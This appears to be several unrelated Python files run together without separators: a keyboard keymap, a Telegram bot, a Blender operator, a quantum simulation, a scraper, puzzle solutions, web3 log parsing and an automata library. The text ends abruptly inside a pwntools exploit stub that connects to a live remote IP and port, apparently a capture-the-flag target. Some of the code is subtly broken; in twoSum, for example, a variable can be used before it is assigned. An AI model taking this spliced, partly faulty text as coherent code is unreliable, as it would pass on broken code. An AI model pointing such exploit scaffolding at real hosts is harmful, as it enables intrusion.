from .constants import *

keymap = {
    ord('A'): key.A,
    ord('B'): key.B,
    ord('C'): key.C,
    ord('D'): key.D,
    ord('E'): key.E,
    ord('F'): key.F,
    ord('G'): key.G,
    ord('H'): key.H,
    ord('I'): key.I,
    ord('J'): key.J,
    ord('K'): key.K,
    ord('L'): key.L,
    ord('M'): key.M,
    ord('N'): key.N,
    ord('O'): key.O,
    ord('P'): key.P,
    ord('Q'): key.Q,
    ord('R'): key.R,
    ord('S'): key.S,
    ord('T'): key.T,
    ord('U'): key.U,
    ord('V'): key.V,
    ord('W'): key.W,
    ord('X'): key.X,
    ord('Y'): key.Y,
    ord('Z'): key.Z,
    ord('0'): key._0,
    ord('1'): key._1,
    ord('2'): key._2,
    ord('3'): key._3,
    ord('4'): key._4,
    ord('5'): key._5,
    ord('6'): key._6,
    ord('7'): key._7,
    ord('8'): key._8,
    ord('9'): key._9,
    ord('\b'): key.BACKSPACE,

    # By experiment:
    0x14: key.CAPSLOCK,
    0x5d: key.MENU,

    #    VK_LBUTTON: ,
    #    VK_RBUTTON: ,
    VK_CANCEL: key.CANCEL,
    #    VK_MBUTTON: ,
    #    VK_BACK: ,
    VK_TAB: key.TAB,
    #    VK_CLEAR: ,
    VK_RETURN: key.RETURN,
    VK_SHIFT: key.LSHIFT,
    VK_CONTROL: key.LCTRL,
    VK_MENU: key.LALT,
    VK_PAUSE: key.PAUSE,
    #    VK_CAPITAL: ,
    #    VK_KANA: ,
    #    VK_HANGEUL: ,
    #    VK_HANGUL: ,
    #    VK_JUNJA: ,
    #    VK_FINAL: ,
    #    VK_HANJA: ,
    #    VK_KANJI: ,
    VK_ESCAPE: key.ESCAPE,
    #    VK_CONVERT: ,
    #    VK_NONCONVERT: ,
    #    VK_ACCEPT: ,
    #    VK_MODECHANGE: ,
    VK_SPACE: key.SPACE,
    VK_PRIOR: key.PAGEUP,
    VK_NEXT: key.PAGEDOWN,
    VK_END: key.END,
    VK_HOME: key.HOME,
    VK_LEFT: key.LEFT,
    VK_UP: key.UP,
    VK_RIGHT: key.RIGHT,
    VK_DOWN: key.DOWN,
    #    VK_SELECT: ,
    VK_PRINT: key.PRINT,
    #    VK_EXECUTE: ,
    #    VK_SNAPSHOT: ,
    VK_INSERT: key.INSERT,
    VK_DELETE: key.DELETE,
    VK_HELP: key.HELP,
    VK_LWIN: key.LWINDOWS,
    VK_RWIN: key.RWINDOWS,
    #    VK_APPS: ,
    VK_NUMPAD0: key.NUM_0,
    VK_NUMPAD1: key.NUM_1,
    VK_NUMPAD2: key.NUM_2,
    VK_NUMPAD3: key.NUM_3,
    VK_NUMPAD4: key.NUM_4,
    VK_NUMPAD5: key.NUM_5,
    VK_NUMPAD6: key.NUM_6,
    VK_NUMPAD7: key.NUM_7,
    VK_NUMPAD8: key.NUM_8,
    VK_NUMPAD9: key.NUM_9,
    VK_MULTIPLY: key.NUM_MULTIPLY,
    VK_ADD: key.NUM_ADD,
    #    VK_SEPARATOR: ,
    VK_SUBTRACT: key.NUM_SUBTRACT,
    VK_DECIMAL: key.NUM_DECIMAL,
    VK_DIVIDE: key.NUM_DIVIDE,
    VK_F1: key.F1,
    VK_F2: key.F2,
    VK_F3: key.F3,
    VK_F4: key.F4,
    VK_F5: key.F5,
    VK_F6: key.F6,
    VK_F7: key.F7,
    VK_F8: key.F8,
    VK_F9: key.F9,
    VK_F10: key.F10,
    VK_F11: key.F11,
    VK_F12: key.F12,
    VK_F13: key.F13,
    VK_F14: key.F14,
    VK_F15: key.F15,
    VK_F16: key.F16,
    #    VK_F17: ,
    #    VK_F18: ,
    #    VK_F19: ,
    #    VK_F20: ,
    #    VK_F21: ,
    #    VK_F22: ,
    #    VK_F23: ,
    #    VK_F24: ,
    VK_NUMLOCK: key.NUMLOCK,
    VK_SCROLL: key.SCROLLLOCK,
    VK_LSHIFT: key.LSHIFT,
    VK_RSHIFT: key.RSHIFT,
    VK_LCONTROL: key.LCTRL,
    VK_RCONTROL: key.RCTRL,
    VK_LMENU: key.LALT,
    VK_RMENU: key.RALT,
    #    VK_PROCESSKEY: ,
    #    VK_ATTN: ,
    #    VK_CRSEL: ,
    #    VK_EXSEL: ,
    #    VK_EREOF: ,
    #    VK_PLAY: ,
    #    VK_ZOOM: ,
    #    VK_NONAME: ,
    #    VK_PA1: ,
    #    VK_OEM_CLEAR: ,
    #    VK_XBUTTON1: ,
    #    VK_XBUTTON2: ,
    #    VK_VOLUME_MUTE: ,
    #    VK_VOLUME_DOWN: ,
    #    VK_VOLUME_UP: ,
    #    VK_MEDIA_NEXT_TRACK: ,
    #    VK_MEDIA_PREV_TRACK: ,
    #    VK_MEDIA_PLAY_PAUSE: ,
    #    VK_BROWSER_BACK: ,
    #    VK_BROWSER_FORWARD: ,
}

# Keys that must be translated via MapVirtualKey, as the virtual key code
# is language and keyboard dependent.
chmap = {
    ord('!'): key.EXCLAMATION,
    ord('"'): key.DOUBLEQUOTE,
    ord('#'): key.HASH,
    ord('$'): key.DOLLAR,
    ord('%'): key.PERCENT,
    ord('&'): key.AMPERSAND,
    ord("'"): key.APOSTROPHE,
    ord('('): key.PARENLEFT,
    ord(')'): key.PARENRIGHT,
    ord('*'): key.ASTERISK,
    ord('+'): key.PLUS,
    ord(','): key.COMMA,
    ord('-'): key.MINUS,
    ord('.'): key.PERIOD,
    ord('/'): key.SLASH,
    ord(':'): key.COLON,
    ord(';'): key.SEMICOLON,
    ord('<'): key.LESS,
    ord('='): key.EQUAL,
    ord('>'): key.GREATER,
    ord('?'): key.QUESTION,
    ord('@'): key.AT,
    ord('['): key.BRACKETLEFT,
    ord('\\'): key.BACKSLASH,
    ord(']'): key.BRACKETRIGHT,
    ord('\x5e'): key.ASCIICIRCUM,
    ord('_'): key.UNDERSCORE,
    ord('\x60'): key.GRAVE,
    ord('`'): key.QUOTELEFT,
    ord('{'): key.BRACELEFT,
    ord('|'): key.BAR,
    ord('}'): key.BRACERIGHT,
    ord('~'): key.ASCIITILDE,
}


from typing import Callable, List, Optional

from django.conf import settings
from telebot import TeleBot

from drive.bot.const import BotCommand

class Bot(TeleBot):
    def __init__(self, token: str):
        super().__init__(
            token=token,
            parse_mode="HTML",
            disable_web_page_preview=True,
        )

    def message_handler(
        self,
        commands: Optional[List[str]] = None,
        regexp: Optional[str] = None,
        func: Optional[Callable] = None,
        content_types: Optional[List[str]] = None,
        chat_types: Optional[List[str]] = None,
        **kwargs,
    ):
        return super().message_handler(commands, regexp, func, content_types, chat_types, **kwargs)

    def callback_query_handler(self, func, **kwargs):
        return super().callback_query_handler(func, **kwargs)

bot = Bot(settings.TELEGRAM_BOT_TOKEN)

bot.set_my_commands(BotCommand.as_telegram_commands())


import bpy
import itertools
from bpy.props import *
from .. utils.enum_items import cacheEnumItems
from .. tree_info import getSubprogramNetworks
from .. utils.attributes import setattrRecursive
from .. utils.nodes import iterAnimationNodeClasses, newNodeAtCursor, invokeTranslation

itemsByIdentifier = {}

class NodeSearch(bpy.types.Operator):
    bl_idname = "an.node_search"
    bl_label = "Node Search"
    bl_options = {"REGISTER"}
    bl_property = "item"

    def getSearchItems(self, context):
        itemsByIdentifier.clear()
        items = []
        for item in itertools.chain(iterSingleNodeItems()):
            itemsByIdentifier[item.identifier] = item
            items.append((item.identifier, item.searchTag, ""))
        return items

    item: EnumProperty(items = cacheEnumItems(getSearchItems))

    @classmethod
    def poll(cls, context):
        try: return context.space_data.node_tree.bl_idname == "an_AnimationNodeTree"
        except: return False

    def invoke(self, context, event):
        context.window_manager.invoke_search_popup(self)
        return {"CANCELLED"}

    def execute(self, context):
        itemsByIdentifier[self.item].insert()
        return {"FINISHED"}

class InsertItem:
    @property
    def identifier(self):
        return ""

    @property
    def searchTag(self):
        return ""

    def insert(self):
        pass

# Single Nodes
#################################

def iterSingleNodeItems():
    for node in iterAnimationNodeClasses():
        if not node.onlySearchTags:
            yield SingleNodeInsertionItem(node.bl_idname, node.bl_label)
        for customSearch in node.getSearchTags():
            if isinstance(customSearch, tuple):
                yield SingleNodeInsertionItem(node.bl_idname, customSearch[0], customSearch[1])
            else:
                yield SingleNodeInsertionItem(node.bl_idname, customSearch)
    for network in getSubprogramNetworks():
        yield SingleNodeInsertionItem("an_InvokeSubprogramNode", network.name,
            {"subprogramIdentifier" : repr(network.identifier)})

class SingleNodeInsertionItem:
    def __init__(self, idName, tag, settings = {}):
        self.idName = idName
        self.tag = tag
        self.settings = settings

    @property
    def identifier(self):
        return "single node - " + self.tag

    @property
    def searchTag(self):
        return self.tag

    def insert(self):
        node = newNodeAtCursor(self.idName)
        for key, value in self.settings.items():
            setattrRecursive(node, key, eval(value))
        invokeTranslation()


import numpy as np
# from scipy.constants import hbar as h
import matplotlib.pyplot as plt
h=1
Sx = 1/2 * np.array([[0,1],
               [1,0]],
              dtype=complex)
Sy = 1/2 * np.array([[0, -1.0j],
               [1.0j, 0]],
              dtype=complex)
Sz = 1/2 * np.array([[1.0, 0],
               [0, -1.0]],
              dtype=complex)
# Electric Field Frequency
v = 1e9
# Potential Energy difference
Δ = 0*h*v
# Tunnelling energy
ΔT = 1*h*v

# Epsilon
ϵ = np.sqrt(Δ**2 + ΔT**2)

# Sine of 2ϕ
s2ϕ = ΔT/ϵ

# Cosine of 2ϕ
c2ϕ = Δ/ϵ

# Tangent of 2ϕ
# t2ϕ = ΔT/Δ

# Angle between the electric field and the moment.
θ = np.pi/4

# Electric Field Amplitude
E0 = 1000

# Moment
p = 1

# Rabi Frequency
Ω0 = p*E0/h

Ωx = Ω0 * np.cos(θ) * s2ϕ
Ωz = Ω0 * np.cos(θ) * c2ϕ
print(Ωx, Ωz)
print(ϵ/h)

# Hamiltonian constant
Hc = -ϵ*Sz
# Hamiltonian Dynamic
Hd = -2*h*Ωz*Sz - 2*h*Ωx*Sx

print(Hd)
print(Hc)

dt = 1e-11
tmax = 100e-9
t0 = 0
t = t0
c10 = 1
c20 = 1 - c10**2
cs = np.array([[c10],[c20]])
c1 = [c10]
c2 = [c20]
times = []
times.append(t0)

while t<=tmax:
    # Runge Kutta
    # k1 = ((Hd @ ( cs*np.cos(v*t) )) + Hc@cs)/(1.0j*h)
    # k2 = ((Hd @ ( (cs+dt*k1/2) * np.cos(v*(t+dt/2)) ) )+ Hc@cs)/(1.0j*h)
    # k3 = ((Hd @ ( (cs+dt*k2/2) * np.cos(v*(t+dt/2)) )) + Hc@cs)/(1.0j*h)
    # k4 = ((Hd @ ( (cs+dt*k3) * np.cos(v*(t+dt)) ) )+ Hc@cs)/(1.0j*h)
    # cs = cs + 1/6 * (k1+2*k2+2*k3+k4)*dt

    # Euler
    m = (( Hd @ (cs *np.cos(v*t)) ) + Hc@cs)/(1.0j*h)
    cs = cs+m*dt
    t = t+dt
    c1.append(cs[0][0])
    c2.append(cs[1][0])
    times.append(t)

c1 = np.array(c1)
c1 = np.sqrt(c1*c1.conj())
c1 = np.real(c1)
# c2 = np.array(c2)
# c2 = np.sqrt(c2*c2.conj())
# c2 = np.real(c2)
fig, ax = plt.subplots(1, 1)
ax.plot(times, c1)
ax.plot(times, c2)
plt.show()


import requests

fname = "stock.html"
url = "https://www.taifex.com.tw/cht/3/totalTableDate"
post_data = "queryType=1&goDay=&doQuery=1&dateaddcnt=&queryDate=2022%2F10%2F19"
r = requests.post(url, data=post_data)
if r.status_code == 200:
    r.encoding = "utf-8"
    with open(fname, 'w', encoding="utf8") as fp:
        fp.write(r.text)


n = int(input())

a = [0] * (n + 1)

dic = {}
rest = n
next = 0

while rest > 0:
    next += 1
    if rest - next >= 0 and next not in dic:
        left = rest - next
        if left != next and left not in dic:
            dic[next] = 0
            rest = rest - next

print(len(dic))
for p, v in enumerate(dic):
    print(v, end=' ')
print()


from CharVectorizer import CharVectorizer
vectorizer = CharVectorizer("abcdefghijklmnopqrstuvwxyz1234567890")

windows = ["miller"] #words to vectorize

target_length = max(len(window) for window in windows) #makes sure we have the max length string, any string less than this length gets padded

matrix = vectorizer.transform(windows,target_length) # give it the strings to vectorize as well as the max length for any padding issues

print((matrix).shape)


class Solution:

    def search(self, nums: List[int], target: int, l, r) -> int:
        # print("\tbs ",l,r)
        while l<=r:
            mid = (l+r)//2
            if nums[mid]==target:
                return mid
            if nums[mid]<target:
                l+=1
            else:
                r-=1
        return -1

    def twoSum(self, numbers: List[int], target: int) -> List[int]:
        i = 0
        n= len(numbers)
        while i<n :
            # print("i",i)
            remaining = target - numbers[i]
            # print("remaining",remaining, remaining==target/2)
            if remaining==target/2:
                # print("\thlf")
                if i<n-1 and numbers[i+1]==remaining:
                    return [i+1,i+2]
            else:
                start = i+1
                # print("\tstart",start)
                while start<n and numbers[start]==numbers[i]:
                    start+=1
                # print("\tstart",start)
                index = self.search(numbers,remaining, start,n-1)
                # print('\tbs index',index)
                if index!=-1:
                    return[i+1,index+1]
            i=start


"""
ROT13 is a simple letter substitution cipher that replaces a letter with the letter 13 letters after it in the alphabet.
ROT13 is an example of the Caesar cipher.

Create a function that takes a string and returns the string ciphered with Rot13. If there are numbers or special characters included in the string,
they should be returned as they are. Only letters from the latin/english alphabet should be shifted,
like in the original Rot13 "implementation".
"""

def rot13(message):
    alphabet = list('abcdefghijklmnopqrstuvwxyz')
    aux = ''
    for char in message:
        if char == ' ' or not char.isalpha():
            aux += char
            continue
        index = alphabet.index(char.lower()) + 13
        if index > len(alphabet) - 1:
            index = index - len(alphabet)
        if char.isupper():
            aux += alphabet[index].upper()
        else:
            aux += alphabet[index]
    return aux


from web3.contract import Contract
from web3.logs import DISCARD, IGNORE
from web3.datastructures import AttributeDict
from web3._utils.events import EventLogErrorFlags

import logging

swapDict = {
    "KLAYTN": {
        "Klayswap": {
            "event": [-1, "ExchangePos"],
            "amount0_in": ["amountA"],
            "amount1_out": ["amountB"],
        },
    },
    "MATIC": {
        "Meshswap": {
            "event": [-1, "ExchangePos"],
            "amount0_in": ["amount0"],
            "amount1_out": ["amount1"],
        },
    },
}

bridgeDict = {
    "Orbitbridge": {
        "Vault": {"event": [-1, "Deposit"], "amount0_in": ["amount"]},
        "Minter": {"event": [-1, "SwapRequest"], "amount0_in": ["amount"]},
    },
}

transferDict = {
    "Orbitbridge": {
        "event": [0, "Transfer"],
        "amount0_in": ["value"],
    },
}

add_liquidityDict = {
    "Traderjoe": {
        "event": [0, "Transfer"],
        "amount0_in": ["value"],
    },
}

txDict = {
    "transaction_hash": None,
    "status": None,
    "block": None,
    "timestamp": None,
    "function": None,
    "from": None,
    "amountIn": None,
    "tokenA": None,
    "to": None,
    "amountOut": None,
    "tokenB": None,
    "transaction_fee:": None,
}

class Event:
    def __init__(self, swapDict, bridgeDict, txDict):
        """
        Initialize the Event class with the swap, bridge, and tx dictionaries.

        Parameters:
        ----------------
        - swapDict (dict): dictionary of swap events
        - bridgeDict (dict): dictionary of bridge events
        - txDict (dict): dictionary of tx events
        """

        self.swapDict = swapDict
        self.bridgeDict = bridgeDict
        self.txDict = txDict

    # @classmethod
    async def swap(
        chainsName: str,
        marketName: str,
        tx_receipt: AttributeDict,
        routerContract: Contract,
    ):
        """
        Extract swap event data from a transaction receipt.

        Parameters:
        --------------
        - chainsName (str): name of the chain
        - marketName (str): name of the market
        - tx_receipt (AttributeDict): transaction receipt
        - routerContract (Contract): contract instance

        Returns:
        --------------
        - tuple: tuple containing the amount of token A in and token B out

        """

        if chainsName not in swapDict:

            events_param_list = [0, "Transfer"]
            amount_in_params = ["value"]
            amount_out_params = ["value"]

        else:

            if marketName not in swapDict[chainsName]:

                events_param_list = [0, "Transfer"]
                amount_in_params = ["value"]
                amount_out_params = ["value"]

            else:

                events_param_list = swapDict[chainsName][marketName]["event"]
                amount_in_params = swapDict[chainsName][marketName]["amount0_in"]
                amount_out_params = swapDict[chainsName][marketName]["amount1_out"]

        swap = routerContract.events[events_param_list[1]]()

        events = swap.process_receipt(tx_receipt, errors=DISCARD)

        amount0_in = max(
            [events[events_param_list[0]]["args"][param] for param in amount_in_params]
        )

        amount1_out = max([events[-1]["args"][param] for param in amount_out_params])

        return amount0_in, amount1_out

    # @classmethod
    async def bridge(
        bridgeName: str, tx_receipt: AttributeDict, routerContract: Contract, *args, **kwargs
    ):
        """
        Extract bridge event data from a transaction receipt.

        Parameters:
        - bridgeName (str): name of the bridge
        - versionName (str): name of the version
        - tx_receipt (AttributeDict): transaction receipt
        - routerContract (Contract): contract instance

        Returns:
        - int: amount of token in

        """

        if kwargs["version"]:

            bridge = routerContract.events[bridgeDict[bridgeName][kwargs["version"]]["event"][1]]()
            events = bridge.process_receipt(tx_receipt, errors=DISCARD)
            amount_in_params = bridgeDict[bridgeName][kwargs["version"]]["amount0_in"]

            amount0_in = max(
                [
                    events[bridgeDict[bridgeName][kwargs["version"]]["event"][0]]["args"][param]
                    for param in amount_in_params
                ]
            )

        else:

            bridge = routerContract.events[bridgeDict[bridgeName]["event"][1]]()
            events = bridge.process_receipt(tx_receipt, errors=DISCARD)
            amount_in_params = bridgeDict[bridgeName]["amount0_in"]
            amount0_in = max(
                [
                    events[bridgeDict[bridgeName]["event"][0]]["args"][param]
                    for param in amount_in_params
                ]
            )

        return amount0_in

    async def transfer(
        bridgeName: str,
        tx_receipt: AttributeDict,
        routerContract: Contract,
    ):
        """
        Extract bridge event data from a transaction receipt.

        Parameters:
        - bridgeName (str): name of the bridge
        - versionName (str): name of the version
        - tx_receipt (AttributeDict): transaction receipt
        - routerContract (Contract): contract instance

        Returns:
        - int: amount of token in

        """

        bridge = routerContract.events[transferDict[bridgeName]["event"][1]]()

        events = bridge.process_receipt(tx_receipt, errors=DISCARD)

        amount_in_params = transferDict[bridgeName]["amount0_in"]

        amount0_in = max(
            [
                events[transferDict[bridgeName]["event"][0]]["args"][param]
                for param in amount_in_params
            ]
        )

        return amount0_in


import sys
try:
    import pydot
except:
    pass
class NFA:
    def __init__(self, states, finals, transitions, start=0):
        self.states = states
        self.start = start
        self.finals = set(finals)
        self.map = transitions
        self.vocabulary = set()
        self.transitions = { state: {} for state in range(states) }

        for (origin, symbol), destinations in transitions.items():
            assert hasattr(destinations, '__iter__'), 'Invalid collection of states'
            self.transitions[origin][symbol] = destinations
            self.vocabulary.add(symbol)

        self.vocabulary.discard('')

    def epsilon_transitions(self, state):
        assert state in self.transitions, 'Invalid state'
        try:
            return self.transitions[state]['']
        except KeyError:
            return ()

    def graph(self):
        G = pydot.Dot(rankdir='LR', margin=0.1)
        G.add_node(pydot.Node('start', shape='plaintext', label='', width=0, height=0))

        for (start, tran), destinations in self.map.items():
            tran = 'ε' if tran == '' else tran
            G.add_node(pydot.Node(start, shape='circle', style='bold' if start in self.finals else ''))
            for end in destinations:
                G.add_node(pydot.Node(end, shape='circle', style='bold' if end in self.finals else ''))
                G.add_edge(pydot.Edge(start, end, label=tran, labeldistance=2))

        G.add_edge(pydot.Edge('start', self.start, label='', style='dashed'))
        return G

    def _repr_svg_(self):
        try:
            return self.graph().create_svg().decode('utf8')
        except:
            pass

class DFA(NFA):

    def __init__(self, states, finals, transitions, start=0):
        assert all(isinstance(value, int) for value in transitions.values())
        assert all(len(symbol) > 0 for origin, symbol in transitions)

        transitions = { key: [value] for key, value in transitions.items() }
        NFA.__init__(self, states, finals, transitions, start)
        self.current = start

    def _move(self, symbol):
        if symbol not in self.vocabulary:
            print(f"El simbolo: '{symbol}', no pertenece al vocabulario del automata.", file=sys.stderr)
            return False
        current_transitions = self.transitions[self.current]
        if symbol in current_transitions.keys():
            self.current = self.transitions[self.current][symbol][0]
            return True
        print(f"No hay transicion desde el estado '{self.current}' " + \
                f" para el simbolo: '{symbol}'")
        return False

    def _reset(self):
        self.current = self.start

    def recognize(self, string):
        self._reset()
        for i in string:
            if not self._move(i):
                return False
        if self.current in self.finals:
            return True
        return False

def move(automaton, states, symbol):
    '''
    Dado un conjunto de estados Q' y un simbolo se computan todos los posibles
    nodos a los que se puede llegar desde los estados de Q', utilizando al simbolo
    en cuestion como paso de transicion

    Sea Q' subconjunto de los estados Q:
    GOTO(Q', c) = {q_j de Q | q_i en Q', q_j este en t(q_i, c)}

    Parametros
    ------------
    `automaton`: Automata
    `states`: Conjunto de estados
    `symbol`: Simbolo de transicion

    Return
    -----------
    `new_states`: Conjunto de estados de `automaton` resultantes
    '''
    moves = set()
    for state in states:
        next_states = automaton.transitions[state].get(symbol, [])
        moves.update(next_states)
    return moves

def epsilon_closure(automaton, states):
    '''
    Funcion recursiva que calcula al epsilon-Clasura de un conjunto de estados
    en un automata. Este nuevo conjunto esta formado por todos los estados del
    conjunto actual, mas los estados a los que se puede llegar haciendo tantas
    transiciones con epsilon como sean posibles.

    Parametros
    ------------
    `automaton`: Automata
    `states`: Conjunto de estados

    Return
    -----------
    `new_states`: Conjunto de estados de `automaton` resultantes
    '''
    pending = list(states)
    closure = set(states)

    while pending:
        state = pending.pop()
        news_states = set(automaton.transitions[state].get('', []))
        difference = news_states.difference(closure)
        pending.extend(difference)
        closure.update(difference)

    return set(closure)

def nfa_to_dfa(automaton):
    '''
    Funcion para convertir un automata finito no determinista en un automata finito determinista.
    Usa las funciones `move` (Goto) y `epsilon_closure` (epsilonClausura).

    Parametros
    ------------
    `automaton`: Automata

    Return
    -----------
    `new_automaton`: Nuevo automata finito determinista
    '''
    class Container(set):
        def __init_subclass__(cls) -> None:
            return super().__init_subclass__()
        id = -1
        is_final = False

    transitions = {}

    start = Container(epsilon_closure(automaton, [automaton.start]))
    start.id = 0
    start.is_final = any(s in automaton.finals for s in start)
    states = [ start ]

    pending = [ start ]
    while pending:
        state = pending.pop()

        for symbol in automaton.vocabulary:
            _move = move(automaton= automaton, states= state, symbol= symbol)
            _closure = Container(epsilon_closure(automaton, _move))

            if len(_closure) == 0:
                continue
            if _closure not in states:
                _closure.id = len(states)
                _closure.is_final = any(s in automaton.finals for s in _closure)
                pending.append(_closure)
                states.append(_closure)
            else:
                _closure.id = states.index(_closure)

            try:
                transitions[state.id, symbol]
                assert False, 'Invalid DFA!!!'
            except KeyError:
                transitions[state.id, symbol] = _closure.id

    finals = [ state.id for state in states if state.is_final ]
    dfa = DFA(len(states), finals, transitions)
    return dfa

class State:
    def __init__(self, state, final=False, formatter=lambda x: str(x), shape='circle'):
        self.state = state
        self.final = final
        self.transitions = {}
        self.epsilon_transitions = set()
        self.tag = None
        self.formatter = formatter
        self.shape = shape

    # The method name is set this way from compatibility issues.
    def set_formatter(self, value, attr='formatter', visited=None):
        if visited is None:
            visited = set()
        elif self in visited:
            return

        visited.add(self)
        self.__setattr__(attr, value)
        for destinations in self.transitions.values():
            for node in destinations:
                node.set_formatter(value, attr, visited)
        for node in self.epsilon_transitions:
            node.set_formatter(value, attr, visited)
        return self

    def has_transition(self, symbol):
        return symbol in self.transitions

    def add_transition(self, symbol, state):
        try:
            self.transitions[symbol].append(state)
        except:
            self.transitions[symbol] = [state]
        return self

    def add_epsilon_transition(self, state):
        self.epsilon_transitions.add(state)
        return self

    def recognize(self, string):
        states = self.epsilon_closure
        for symbol in string:
            states = self.move_by_state(symbol, *states)
            states = self.epsilon_closure_by_state(*states)
        return any(s.final for s in states)

    def to_deterministic(self, formatter=lambda x: str(x)):
        closure = self.epsilon_closure
        start = State(tuple(closure), any(s.final for s in closure), formatter)

        closures = [ closure ]
        states = [ start ]
        pending = [ start ]

        while pending:
            state = pending.pop()
            symbols = { symbol for s in state.state for symbol in s.transitions }

            for symbol in symbols:
                move = self.move_by_state(symbol, *state.state)
                closure = self.epsilon_closure_by_state(*move)

                if closure not in closures:
                    new_state = State(tuple(closure), any(s.final for s in closure), formatter)
                    closures.append(closure)
                    states.append(new_state)
                    pending.append(new_state)
                else:
                    index = closures.index(closure)
                    new_state = states[index]

                state.add_transition(symbol, new_state)

        return start

    @staticmethod
    def from_nfa(nfa, get_states=False):
        states = []
        for n in range(nfa.states):
            state = State(n, n in nfa.finals)
            states.append(state)

        for (origin, symbol), destinations in nfa.map.items():
            origin = states[origin]
            origin[symbol] = [ states[d] for d in destinations ]

        if get_states:
            return states[nfa.start], states
        return states[nfa.start]

    @staticmethod
    def move_by_state(symbol, *states):
        return { s for state in states if state.has_transition(symbol) for s in state[symbol]}

    @staticmethod
    def epsilon_closure_by_state(*states):
        closure = { state for state in states }

        l = 0
        while l != len(closure):
            l = len(closure)
            tmp = [s for s in closure]
            for s in tmp:
                for epsilon_state in s.epsilon_transitions:
                        closure.add(epsilon_state)
        return closure

    @property
    def epsilon_closure(self):
        return self.epsilon_closure_by_state(self)

    @property
    def name(self):
        return self.formatter(self.state)

    def get(self, symbol):
        target = self.transitions[symbol]
        assert len(target) == 1
        return target[0]

    def __getitem__(self, symbol):
        if symbol == '':
            return self.epsilon_transitions
        try:
            return self.transitions[symbol]
        except KeyError:
            return None

    def __setitem__(self, symbol, value):
        if symbol == '':
            self.epsilon_transitions = value
        else:
            self.transitions[symbol] = value

    def __repr__(self):
        return str(self)

    def __str__(self):
        return str(self.state)

    def __hash__(self):
        return hash(self.state)

    def __iter__(self):
        yield from self._visit()

    def _visit(self, visited=None):
        if visited is None:
            visited = set()
        elif self in visited:
            return

        visited.add(self)
        yield self

        for destinations in self.transitions.values():
            for node in destinations:
                yield from node._visit(visited)
        for node in self.epsilon_transitions:
            yield from node._visit(visited)

    def graph(self):
        G = pydot.Dot(rankdir='LR', margin=0.1)
        G.add_node(pydot.Node('start', shape='plaintext', label='', width=0, height=0))

        visited = set()
        def visit(start):
            ids = id(start)
            if ids not in visited:
                visited.add(ids)
                G.add_node(pydot.Node(ids, label=start.name, shape=self.shape, style='bold' if start.final else ''))
                for tran, destinations in start.transitions.items():
                    for end in destinations:
                        visit(end)
                        G.add_edge(pydot.Edge(ids, id(end), label=tran, labeldistance=2))
                for end in start.epsilon_transitions:
                    visit(end)
                    G.add_edge(pydot.Edge(ids, id(end), label='ε', labeldistance=2))

        visit(self)
        G.add_edge(pydot.Edge('start', id(self), label='', style='dashed'))

        return G

    def _repr_svg_(self):
        try:
            return self.graph().create_svg().decode('utf8')
        except:
            pass

    def write_to(self, fname):
        return self.graph().write_svg(fname)

def multiline_formatter(state):
    return '\n'.join(str(item) for item in state)

def lr0_formatter(state):
    try:
        return '\n'.join(str(item)[:-4] for item in state)
    except TypeError:
        return str(state)[:-4]

def automata_union(a1, a2):
    '''
    Union de Automatas. Se genera un Automata Finito No Determinista Union
    de 2 automatas

    Parametros:
    ------------
        `a1`: Automata 1, debe ser un `NFA`
        `a2`: Automata 2, debe ser un `NFA`

    Retorna:
    ---------
        `union`: Automata Union (`NFA`)
    '''
    transitions = {}

    start = 0
    d1 = 1
    d2 = a1.states + d1
    final = a2.states + d2

    for (origin, symbol), destinations in a1.map.items():
        transitions[origin + d1, symbol] = [dest + d1 for dest in destinations]

    for (origin, symbol), destinations in a2.map.items():
        transitions[origin + d2, symbol] = [dest + d2 for dest in destinations]

    trans = transitions.get((start, ''), [])
    transitions[start, ''] = trans + [d1, d2]

    for f1 in a1.finals:
        trans = transitions.get((f1 + d1, ''), [])
        transitions[f1 + d1, ''] = trans + [final]
    for f2 in a2.finals:
        trans = transitions.get((f2 + d2, ''), [])
        transitions[f2 + d2, ''] = trans + [final]

    states = a1.states + a2.states + 2
    finals = { final }

    return NFA(states, finals, transitions, start)

def automata_concatenation(a1, a2):
    '''
    Concatenacion de Automatas. Se genera un Automata Finito No Determinista Concatenacion
    de 2 automatas

    Parametros:
    ------------
        `a1`: Automata 1, debe ser un `NFA`
        `a2`: Automata 2, debe ser un `NFA`

    Retorna:
    ---------
        `concat`: Automata Concatenacion (`NFA`)
    '''
    transitions = {}

    start = 0
    d1 = 0
    d2 = a1.states + d1
    final = a2.states + d2

    for (origin, symbol), destinations in a1.map.items():
        transitions[origin + d1, symbol] = [dest + d1 for dest in destinations]

    for (origin, symbol), destinations in a2.map.items():
        transitions[origin + d2, symbol] = [dest + d2 for dest in destinations]

    for f1 in a1.finals:
        trans = transitions.get((f1 + d1, ''), [])
        transitions[f1 + d1, ''] = trans + [d2]
    for f2 in a2.finals:
        trans = transitions.get((f2 + d2, ''), [])
        transitions[f2 + d2, ''] = trans + [final]

    states = a1.states + a2.states + 1
    finals = { final }

    return NFA(states, finals, transitions, start)

def automata_closure(a1):
    '''
    Clausura de Automata. Se genera un Automata Finito No Determinista Clausura
    de un automata

    Parametros:
    ------------
        `a1`: Automata 1, debe ser un `NFA`

    Retorna:
    ---------
        `closure`: Automata Clausura (`NFA`)
    '''
    transitions = {}

    start = 0
    d1 = 1
    final = a1.states + d1

    for (origin, symbol), destinations in a1.map.items():
        transitions[origin + d1, symbol] = [dest + d1 for dest in destinations]

    transitions[start, ''] = [d1, final]

    for f1 in a1.finals:
        trans = transitions.get((f1 + d1, ''), [])
        transitions[f1 + d1, ''] = trans + [final]
    transitions[final, ''] = [start]

    states = a1.states +  2
    finals = { final }

    return NFA(states, finals, transitions, start)

def automata_positive_closure(a1):
    '''
    Clausura Positiva de Automata. Se genera un Automata Finito No Determinista
    Clausura Positiva de un automata

    Parametros:
    ------------
        `a1`: Automata 1, debe ser un `NFA`

    Retorna:
    ---------
        `closure`: Automata Clausura Positiva (`NFA`)
    '''
    transitions = {}

    start = 0
    d1 = 1
    final = a1.states + d1

    for (origin, symbol), destinations in a1.map.items():
        transitions[origin + d1, symbol] = [dest + d1 for dest in destinations]

    transitions[start, ''] = [d1]

    for f1 in a1.finals:
        transitions[f1 + d1, ''] = [final]
    transitions[final, ''] = [start]

    states = a1.states +  2
    finals = { final }

    return NFA(states, finals, transitions, start)


#!/usr/bin/env python2
# -*- coding: utf-8 -*- #
from pwn import *
import time
import os
from hashlib import sha256

#context.log_level = 'debug'
context.arch = 'amd64'
context.terminal=["tmux","splitw","-h"]

def start_new_program():
    program = remote( "121.41.41.111", 9999)
    return program
'''
